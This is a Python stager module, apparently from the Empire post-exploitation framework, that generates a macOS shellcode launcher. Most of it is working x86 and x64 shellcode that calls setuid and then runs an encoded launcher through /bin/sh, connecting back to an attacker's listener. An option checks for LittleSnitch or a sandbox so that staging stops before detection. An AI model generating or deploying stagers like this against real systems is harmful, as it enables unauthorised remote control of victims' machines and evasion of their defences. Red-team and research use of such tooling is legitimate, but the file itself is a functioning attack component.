from __future__ import print_function

from builtins import object

from empire.server.common import helpers


class Stager(object):
    def __init__(self, mainMenu, params=[]):

        self.info = {
            "Name": "Shellcode launcher",
            "Author": ["@johneiser"],
            "Description": "Generate an osx shellcode launcher",
            "Comments": ["Shellcode contains NULL bytes, may need to be encoded."],
        }

        # any options needed by the stager, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            "Listener": {
                "Description": "Listener to generate stager for.",
                "Required": True,
                "Value": "",
            },
            "Language": {
                "Description": "Language of the stager to generate.",
                "Required": True,
                "Value": "python",
                "SuggestedValues": ["python"],
                "Strict": True,
            },
            "Architecture": {
                "Description": "Architecture: x86/x64",
                "Required": True,
                "Value": "x64",
                "SuggestedValues": ["x64", "x86"],
                "Strict": True,
            },
            "OutFile": {
                "Description": "Filename that should be used for the generated output.",
                "Required": True,
                "Value": "launcher.bin",
            },
            "SafeChecks": {
                "Description": "Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. "
                "Defaults to True.",
                "Required": True,
                "Value": "True",
                "SuggestedValues": ["True", "False"],
                "Strict": True,
            },
            "UserAgent": {
                "Description": "User-agent string to use for the staging request (default, none, or other).",
                "Required": False,
                "Value": "default",
            },
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]["Value"] = value

    def generate(self):

        # extract all of our options
        language = self.options["Language"]["Value"]
        listener_name = self.options["Listener"]["Value"]
        arch = self.options["Architecture"]["Value"]
        save_path = self.options["OutFile"]["Value"]
        user_agent = self.options["UserAgent"]["Value"]
        safe_checks = self.options["SafeChecks"]["Value"]

        if not self.mainMenu.listeners.is_listener_valid(listener_name):
            # not a valid listener, return nothing for the script
            print(helpers.color("[!] Invalid listener: " + listener_name))
            return ""
        else:
            # generate launcher code
            launcher = self.mainMenu.stagers.generate_launcher(
                listenerName=listener_name,
                language=language,
                encode=True,
                userAgent=user_agent,
                safeChecks=safe_checks,
            )
            sc = ""
            if launcher == "":
                print(helpers.color("[!] Error in launcher command generation."))
                return ""
            elif arch.lower() == "x86":
                sc = (
                    # 0x17: int setuid(uid_t uid)
                    "\x31\xdb"  # xor ebx, ebx          ; Zero out ebx
                    "\x53"  # push ebx              ; Set uid_t uid (NULL)
                    "\x53"  # push ebx              ; Align stack (8)
                    "\x31\xc0"  # xor eax, eax          ; Zero out eax
                    "\xb0\x17"  # mov al, 0x17          ; Prepare sys_setuid
                    "\xcd\x80"  # int 0x80              ; Call sys_setuid
                    "\x83\xc4\x08"  # add esp, 8            ; Fix stack (args)
                    # 0x3b: int execve(const char *path, char *const argv[], char *const envp[])
                    "\x53"  # push ebx              ; Terminate pointer array
                    "\xeb\x2c"  # jmp get_payload       ; Retrieve pointer to payload
                    # got_payload:
                    "\xe8\x03\x00\x00\x00"  # call cmd_get_param_1  ; Push pointer to "-c", 0x00
                    "\x2d\x63\x00"  # db "-c", 0x00
                    # cmd_get_param_1:
                    "\xe8\x08\x00\x00\x00"  # call cmd_get_param_0  ; Push pointer to "/bin/sh", 0x00
                    "\x2f\x62\x69\x6e"  # db "/bin"
                    "\x2f\x73\x68\x00"  # db "/sh", 0x00
                    # cmd_get_param_0:
                    "\x8b\x0c\x24"  # mov ecx, [esp]        ; Save pointer to "/bin/sh", 0x00
                    "\x89\xe2"  # mov edx, esp          ; Prepare args
                    "\x53"  # push ebx              ; Set char *const envp[] (NULL)
                    "\x52"  # push edx              ; Set char *const argv[] ({"/bin/sh", "-c", cmd, NULL})
                    "\x51"  # push ecx              ; Set const char *path ("/bin/sh", 0x00)
                    "\x53"  # push ebx              ; Align stack (16)
                    "\x31\xc0"  # xor eax, eax          ; Zero out eax
                    "\xb0\x3b"  # mov al, 0x3b          ; Prepare sys_execve
                    "\xcd\x80"  # int 0x80              ; Call sys_execve
                    "\x83\xc4\x20"  # add esp, 32           ; Fix stack (args, array[4])
                    # 0x01: void exit(int status)
                    "\x31\xc0"  # xor eax, eax          ; Zero out eax
                    "\x40"  # inc eax               ; Prepare sys_exit
                    "\xcd\x80"  # int 0x80              ; Call sys_exit
                    # get_payload:
                    "\xe8\xcf\xff\xff\xff"  # call got_payload      ; Push pointer to payload
                )
            else:
                sc = (
                    # 0x2000017: int setuid(uid_t uid)
                    "\x48\x31\xff"  # xor rdi, rdi          ; Set uid_t uid (NULL)
                    "\x48\xc7\xc0\x17\x00\x00\x02"  # mov rax, 0x2000017    ; Prepare sys_setuid
                    "\x0f\x05"  # syscall               ; Call sys_setuid
                    # 0x200003b: int execve(const char *path, char *const argv[], char *const envp[])
                    "\x48\x31\xd2"  # xor rdx, rdx          ; Set char *const envp[] (NULL)
                    "\x52"  # push rdx              ; Terminate pointer array
                    "\xeb\x32"  # jmp get_payload       ; Retrieve pointer to payload
                    # got_payload:
                    "\xe8\x03\x00\x00\x00"  # call cmd_get_param_1  ; Push pointer to "-c", 0x00
                    "\x2d\x63\x00"  # db "-c", 0x00
                    # cmd_get_param_1:
                    "\xe8\x08\x00\x00\x00"  # call cmd_get_param_0  ; Push pointer to "/bin/sh", 0x00
                    "\x2f\x62\x69\x6e"  # db "/bin"
                    "\x2f\x73\x68\x00"  # db "/sh", 0x00
                    # cmd_get_param_0:
                    "\x48\x8b\x3c\x24"  # mov rdi, [rsp]        ; Set const char *path ("/bin/sh", 0x00)
                    "\x48\x89\xe6"  # mov rsi, rsp          ; Set char *const argv[] ({"/bin/sh", "-c", cmd, NULL})
                    "\x48\xc7\xc0\x3b\x00\x00\x02"  # mov rax, 0x200003b    ; Prepare sys_execve
                    "\x0f\x05"  # syscall               ; Call sys_execve
                    "\x48\x83\xc4\x20"  # add rsp, 32           ; Fix stack (array[4])
                    # 0x2000001: void exit(int status)
                    "\x48\xc7\xc0\x01\x00\x00\x02"  # mov rax, 0x2000001    ; Prepare sys_exit
                    "\x0f\x05"  # syscall               ; Call sys_exit
                    # get_payload:
                    "\xe8\xc9\xff\xff\xff"  # call got_payload      ; Push pointer to payload
                )
            return sc + launcher + "\x00"
